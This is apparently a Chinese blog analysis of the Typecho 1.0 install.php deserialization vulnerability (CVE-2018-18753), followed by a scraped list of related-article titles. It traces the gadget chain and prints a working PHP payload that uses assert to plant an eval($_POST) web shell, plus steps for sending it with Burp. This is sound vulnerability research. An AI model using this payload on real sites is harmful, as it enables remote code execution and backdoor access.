0x00 漏洞简介

  • CVE-2018-18753

  • 漏洞概述:

    typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意 PHP 代码。

  • 影响版本:typecho1.0(14.10.10)

0x01 环境搭建

  1. 上传源码到 WEB 目录,上传完毕后使用浏览器直接访问安装目录即可看到 Typecho 的 安装程序 install.php。
  2. 提前在 Mysql 数据库中创建好一个库 名 Typecho,下一步会使用这个数据库
  3. 按照提示更改你的数据库相关信息和默认账号信息等等,手动生成提示的配置文件,最后按提示进行安装即可。

0x02 漏洞分析

  1. install.php 中发现了反序列化入口

    这里将 Typecho_cookie::get()方法的值 base64 解码 再反序列化回来赋值给 $config

  1. 全局搜索定位 Typecho_Cookie::get() 方法,定位到文件 /var/Typecho/Cookie.php 中发现 _typercho_config 是可控的,可以看到这里对 POST 或者 Cookie 传入的__typecho_config 变量进行一个反序列化,并且不能为数组。

  1. 我们再回到 install.php 中 继续分析,Typecho_Cookie::delete() 方法用于删除指定的 cookie 值

  1. 接下来 new 了一个 Typecho_Db 的新对象$db,将 $config 中的 adapter 和 prefix 的值传入

  1. 全局搜索定位类 Typecho_Db,定位到文件 /var/Typecho/Db.php,到这个 __construct() 魔术方法中,这里将对象 $adapterName 直接拼接在一串字符串后面,也就是将 $adapterName 当作字符串拼接之后赋值给了 $adapterName,这个时候如果 adapterName 如果为一个对象的话,就会自动调用 __toString 魔术方法。

  1. 全局搜索 __toString(),定位到文件/var/Typecho/Feed.php ,发现使用了 $item['author']->screenName,而这个$item 是$this->_items 里面循环出来的,将 $item['author'] 赋值为一个对象,那么对象中的 screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法

    php 面向对象编程中是 禁止在对象外直接访问由 private 所定义的私有属性,但是在类中添加魔术方法__set(),__get(),__isset(),__unset()后可间接访问对象中的私有属性。

  1. 全局搜索 function __get() 魔术方法,定位到文件 /var/Typecho/Request.php

  1. 继续跟进 get() 方法

  1. get() 方法最后调用了一个 _applyFilter() 方法,跟进

  1. 发现 敏感函数 call_user_func() ,而且里面的两个参数都是$filter 是 $this->_filter 循环出来的 ,$value 则是由上面的 get() 函数中传参进来的,两个参数都是可控的,可以构造 $filter 为 system , $value 为 whoami ,就可以命令执行了

0x03 利用总结

  1. 上文分析可知 反序列化漏洞 存在于 install.php 文件的安装程序中,要正确执行安装程序需要两个参数,第一个参数就是通过 GET 传参一个 finish 赋一个任意值,第二个就是 _typecho_config 参数,而 这个_typecho_config 参数这个参数就是我们反序列化漏洞利用的重点。我们构造一个序列化后的字符串 POC 赋给 _typecho_config 参数,配合上文漏洞分析最后 1 步分析出的 敏感函数 call_user_func() 就可以达到命令执行的效果。

  1. 上文漏洞分析中第 2 步中,知道 __typecho_config 参数是由 Cookie 或者 POST 传参而来,且不能是数组。确定 payload 传参方式

  2. 下面分析重点就是如何构造一个序列化的字符串 _typecho_config,让其最终传入 敏感函数 call_user_func() 中而达到命令执行

  3. 上文漏洞分析中第 4 步 追踪 对象$db 的 new 的过程,发现在这个类的 __construct() 魔术方法中,对象 $adapterName 直接拼接到字符串中,会自动调用 __toString()魔术方法。而又通过全局搜索__toString()魔术方法 (上文漏洞分析中第 6 步),得知使用了一个属性可以利用$item['author']->screenName,$item['author']赋值为一个对象,那么对象中的 screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法。继续追踪 __get() 魔术方法,最终于发现 敏感函数 call_user_func() 并且它的两个参数 \$filter 和 $value 都是可控的。

  4. $filter 是 class Typecho_Request 的私有属性,$item['author'] 也就是 $this->_items 即 class Typecho_Feed 的 私有属性 $_items,问题来了,漏洞利用在 class Typecho_Request 中,$item['author'] 是对象时,访问私有属性 screenName 调用的 __get() 魔术方法是 class Typecho_Feed 的才能最终利用 敏感函数 call_user_func() 执行命令。解决方法是在 class Typecho_Feed 中 __construct()魔术方法中 new 一个 class Typecho_Request 的对象就可以解决。

  5. 由于 要绕过 敏感函数 call_user_func() 中的 is_array,因此 class Typecho_Request 中 私有属性 数据结构都是 array

  6. 由上文漏洞分析中第 4 步和第 5 步可知,$db 对象新建时传入了两个参数 $config['adapter'] 和 $config['prefix'],对象新建是首先会调用 __construct() 魔术方法,联系起来,$config['adapter']=new Typecho_Feed() 即可全部串起来。

  7. 最终的 payload 如下:

<?php
class Typecho_Request{
private $_params= array('screenName'=> "file_put_contents('shell.php', '<?php eval(\$_POST[z]);//?>')");
private $_filter= array('assert');
}
class Typecho_Feed{
private $_items=array();
private $_type='ATOM 1.0';
public function __construct()
{
$items['author']=new Typecho_Request();
$this->_items[0]=$items;
}
}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = 'typecho'; // 值是任意的
$payload = base64_encode(serialize($config));
echo $payload;
?>

0x04 漏洞复现

  1. 复制 payload,浏览器执行获取 base64 编码后的 payload 字符串

  1. burp 抓包,发送 payload,注意:Referer 需要是本站

  1. 成功写入 shell.php

Typecho 反序列化漏洞 分析及复现的更多相关文章

  1. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  2. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  3. Java安全之Cas反序列化漏洞分析

    Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...

  4. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  5. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  6. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  7. ref:Java安全之反序列化漏洞分析(简单-朴实)

    ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...

  8. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  9. Fastjson 1.2.22-24 反序列化漏洞分析(2)

    Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...

随机推荐

  1. 『GoLang』面向对象

    我们总结一下前面看到的:Go 没有类,而是松耦合的类型.方法对接口的实现. 面向对象语言最重要的三个方面分别是:封装,继承和多态,在 Go 中它们是怎样表现的呢? Go实现面向对象的两个关键是stru ...

  2. P3760-[TJOI2017]异或和【树状数组】

    正题 题目链接:https://www.luogu.com.cn/problem/P3760 题目大意 给出\(n\)个数字的一个序列\(a\),求它所有区间和的异或和 \(n\leq 10^5,\s ...

  3. Linux命令行:free

                  total        used        free      shared  buff/cache   availableMem:           251G   ...

  4. Redis的单线程架构

    前言 在一定的策略下适度地初始化线程池的线程数有利于提高CPU的利用率,达到高效率地在同一段时间内处理多个任务,最佳的线程数量一般是 最佳线程数=(线程等待的时间与线程CPU执行时间之比+1)*CPU ...

  5. Rafy 框架 - 实体支持只更新部分变更的字段

    Rafy 快一两年没有大的更新了.并不是这个框架没人维护了.相反,主要是因为自己的项目.以及公司在使用的项目,都已经比较稳定了,也没有新的功能添加.但是最近因为外面使用了 Rafy 的几个公司,找到我 ...

  6. Python | 一键生成九宫格图片

    一键生成九宫格图片 首先我们准备几张图片: 将代码文件放在放置图片的地方,用软件打开: 点击运行,在当前目录下会生成一个文件夹: 打开新生成的文件夹: 打开对应图片的名称文件夹: 如果不想图片被分成9 ...

  7. 题解 Math teacher's homework

    题目传送门 题目大意 给出 \(n,k\) 以及 \(a_{1,2,...,n}\) ,求有多少个 \(m_{1,2,...,n}\) 满足 \(\forall i,m_i\le a_i\) 且 \( ...

  8. Shell 编程 基础用法

    Shell 编程 更改shell脚本权限 chmod u+x shell.sh 标准头部写法 #! /bin/bash #! /bin/dash 变量使用 a=10 print $a 读取命令行参数 ...

  9. HCNP Routing&Switching之BGP邻居建立条件、优化和认证

    前文我们了解了BGP相关概念.AS相关概念以及BGP邻居类型.基础配置等,相关回顾请参考https://www.cnblogs.com/qiuhom-1874/p/15370838.html:今天我们 ...

  10. JavaScript兼容性汇总

    一般兼容性问都体现到DOM和事件上 ​ 只聊ie6+版本浏览器,希望小伙伴们别纠结更低版本浏览器哈^_^ DOM 获取元素 document.getElementsByclassName 不兼容ie6 ...